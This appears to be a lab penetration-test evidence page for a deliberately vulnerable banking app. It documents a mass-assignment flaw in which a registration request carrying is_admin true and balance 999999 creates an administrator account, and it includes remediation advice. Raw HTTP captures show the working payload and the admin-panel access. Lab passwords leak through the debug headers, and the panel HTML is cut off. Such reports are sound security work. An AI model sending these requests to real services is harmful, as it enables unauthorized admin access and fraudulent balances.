Test case 10 / 26FAIL
Mass Assignment - Registration - Privilege Fields
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] Mass Assignment - Registration - Privilege Fields
01 — Notes
Test notes
Vulnerability
[FAIL] Mass Assignment - Registration - Privilege Fields
Description
The /register endpoint copies every key in the JSON request into the INSERT statement without a column allow-list. Sensitive fields such as is_admin and balance, which should be determined by the server, can be sent by the client and stored directly.
Impact
Integrity (Critical): anyone who can reach the registration page can create an administrator account for themselves and set the account balance at will. This bypasses all approval controls for administrator creation and creates fictitious balances in the banking system.
CWE
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
OWASP
A04:2021 - Insecure Design
Scenario
Normal: registering with only a username and password produces an ordinary account (is_admin false, default balance 1000). Exploitation: the same request plus is_admin true and balance 999999 -> the account is created directly as an administrator with an attacker-chosen balance. Impact: logging in to that account opens the admin panel.
Endpoint
POST http://127.0.0.1:5001/register
Affected feature
New user registration
Remediation
- Apply an allow-list of columns the client may set (username, password only); explicitly ignore every other field.
- Set is_admin and balance server-side with default values, never from input.
- Separate administrator creation into a dedicated flow that requires administrator authorization.
- Remove the debug_data block that reflects raw input in the response.
Proof of concept
1) (Screenshot 1) NORMAL: register ma_normal_user with only a username and password -> is_admin false, balance 1000.
2) (Screenshot 2) EXPLOITATION: register ma_evil_admin with the addition of is_admin true and balance 999999 -> stored as an administrator with a balance of 999999.
3) (Screenshot 3) CIA IMPACT: log in as ma_evil_admin and access /sup3r_s3cr3t_admin -> HTTP 200, the administrative panel opens.
View source note (English)
Vulnerability:
[FAIL] Mass Assignment - Registration - Privilege Fields
Description:
The /register endpoint copies every key in the JSON request into the INSERT statement without a column allow-list. Sensitive fields such as is_admin and balance, which should be determined by the server, can be sent by the client and stored directly.
Impact:
Integrity (Critical): anyone who can reach the registration page can create an administrator account for themselves and set the account balance at will. This bypasses all approval controls for administrator creation and creates fictitious balances in the banking system.
CWE:
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
OWASP:
A04:2021 - Insecure Design
Scenario:
Normal: registering with only a username and password produces an ordinary account (is_admin false, default balance 1000). Exploitation: the same request plus is_admin true and balance 999999 -> the account is created directly as an administrator with an attacker-chosen balance. Impact: logging in to that account opens the admin panel.
Endpoint:
POST http://127.0.0.1:5001/register
Affected Feature:
New user registration
Remediation:
- Apply an allow-list of columns the client may set (username, password only); explicitly ignore every other field.
- Set is_admin and balance server-side with default values, never from input.
- Separate administrator creation into a dedicated flow that requires administrator authorization.
- Remove the debug_data block that reflects raw input in the response.
POC:
1) (Screenshot 1) NORMAL: register ma_normal_user with only a username and password -> is_admin false, balance 1000.
2) (Screenshot 2) EXPLOITATION: register ma_evil_admin with the addition of is_admin true and balance 999999 -> stored as an administrator with a balance of 999999.
3) (Screenshot 3) CIA IMPACT: log in as ma_evil_admin and access /sup3r_s3cr3t_admin -> HTTP 200, the administrative panel opens.
02 — Screenshots
Screenshots (3)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
POST /register HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 55
Content-Type: application/json
{"username": "ma_normal_user", "password": "[REDACTED-LAB-VALUE]"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 537
X-Debug-Info: {'user_id': 4, 'username': 'ma_normal_user', 'account_number': '7503483798', 'balance': 1000.0, 'is_admin': False, 'registration_time': '2026-09-30 02:58:20.805245', 'server_info': 'python-requests/2.33.1', 'raw_data': {'username': 'ma_normal_user', 'password': 'Normal123'}, 'fields_registered': ['username', 'password', 'account_number']}
X-User-Info: id=4;admin=False;balance=1000.00
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:20 GMT
{
"debug_data": {
"account_number": "7503483798",
"balance": 1000.0,
"fields_registered": [
"username",
"password",
"account_number"
],
"is_admin": false,
"raw_data": {
"password": "[REDACTED-LAB-VALUE]",
"username": "ma_normal_user"
},
"registration_time": "2026-09-30 02:58:20.805245",
"server_info": "python-requests/2.33.1",
"user_id": 4,
"username": "ma_normal_user"
},
"message": "Registration successful! Proceed to login",
"status": "success"
}CAPTURE 02 / 2
POST /register HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 89
Content-Type: application/json
{"username": "ma_evil_admin", "password": "[REDACTED-LAB-VALUE]", "is_admin": true, "balance": 999999}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 622
X-Debug-Info: {'user_id': 5, 'username': 'ma_evil_admin', 'account_number': '7658808238', 'balance': 999999.0, 'is_admin': True, 'registration_time': '2026-09-30 02:58:21.806878', 'server_info': 'python-requests/2.33.1', 'raw_data': {'username': 'ma_evil_admin', 'password': 'Evil123', 'is_admin': True, 'balance': 999999}, 'fields_registered': ['username', 'password', 'account_number', 'is_admin', 'balance']}
X-User-Info: id=5;admin=True;balance=999999.00
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:21 GMT
{
"debug_data": {
"account_number": "7658808238",
"balance": 999999.0,
"fields_registered": [
"username",
"password",
"account_number",
"is_admin",
"balance"
],
"is_admin": true,
"raw_data": {
"balance": 999999,
"is_admin": true,
"password": "[REDACTED-LAB-VALUE]",
"username": "ma_evil_admin"
},
"registration_time": "2026-09-30 02:58:21.806878",
"server_info": "python-requests/2.33.1",
"user_id": 5,
"username": "ma_evil_admin"
},
"message": "Registration successful! Proceed to login",
"status": "success"
}CAPTURE 03 / 3
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 46565
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:22 GMT
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Admin Panel - VulnBank</title>
<link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
<link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
<link rel="stylesheet" href="/static/style.css">
<link rel="stylesheet" href="/static/admin.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
<a href="#main-content" class="skip-link">Skip to main content</a>
<div class="admin-layout">
<!-- Sidebar -->
<aside class="admin-sidebar">
<div class="sidebar-header">
<div class="sidebar-logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
</svg>
<span class="sidebar-logo-text">VulnBank</span>
<span class="sidebar-badge">Admin</span>
</div>
</div>
<nav class="sidebar-nav">
<a href="#overview" class="sidebar-nav-item active" data-section="overview">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="3" y="3" width="7" height="7"></rect>
<rect x="14" y="3" width="7" height="7"></rect>
<rect x="14" y="14" width="7" height="7"></rect>
<rect x="3" y="14" width="7" height="7"></rect>
</svg>
<span>Overview</span>
</a>
<a href="#users" class="sidebar-nav-item" data-section="users">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
<circle cx="9" cy="7" r="4"></circle>
<path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
<path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
</svg>
<span>Users</span>
</a>
<a href="#loans" class="sidebar-nav-item" data-section="loans">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
<path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
</svg>
<span>Loans</span>
</a>
<a href="#settings" class="sidebar-nav-item" data-section="settings">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="12" r="3"></circle>
<path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
</svg>
<span>Settings</span>
</a>
</nav>
<div class="sidebar-footer">
<a href="/dashboard" class="sidebar-back-link">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<line x1="19" y1="12" x2="5" y2="12"></line>
<polyline points="12 19 5 12 12 5"></polyline>
</svg>
<span>Back to Dashboard</span>
</a>
<button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
<span class="toggle-icon toggle-icon-sun">☀️</span>
<span class="toggle-icon toggle-icon-moon">🌙</span>
</button>
</div>
</aside>
<!-- Main Content -->
<main class="admin-main" id="main-content">
<!-- Top Bar -->
<header class="admin-topbar">
<h1 class="admin-page-title">Overview</h1>
<div class="admin-profile-mini">
<span class="admin-name">System Administrator</span>
<img src="/static/uploads/admin.png" alt="Admin">
</div>
</header>
<!-- Messages -->
<div id="message" aria-live="polite"></div>
<!-- Overview Section -->
<section class="admin-section" id="overview-section">
<div class="section-header">
<h2>Transaction Analytics</h2>
<p class="section-subt
[... 40554 more bytes not shown ...]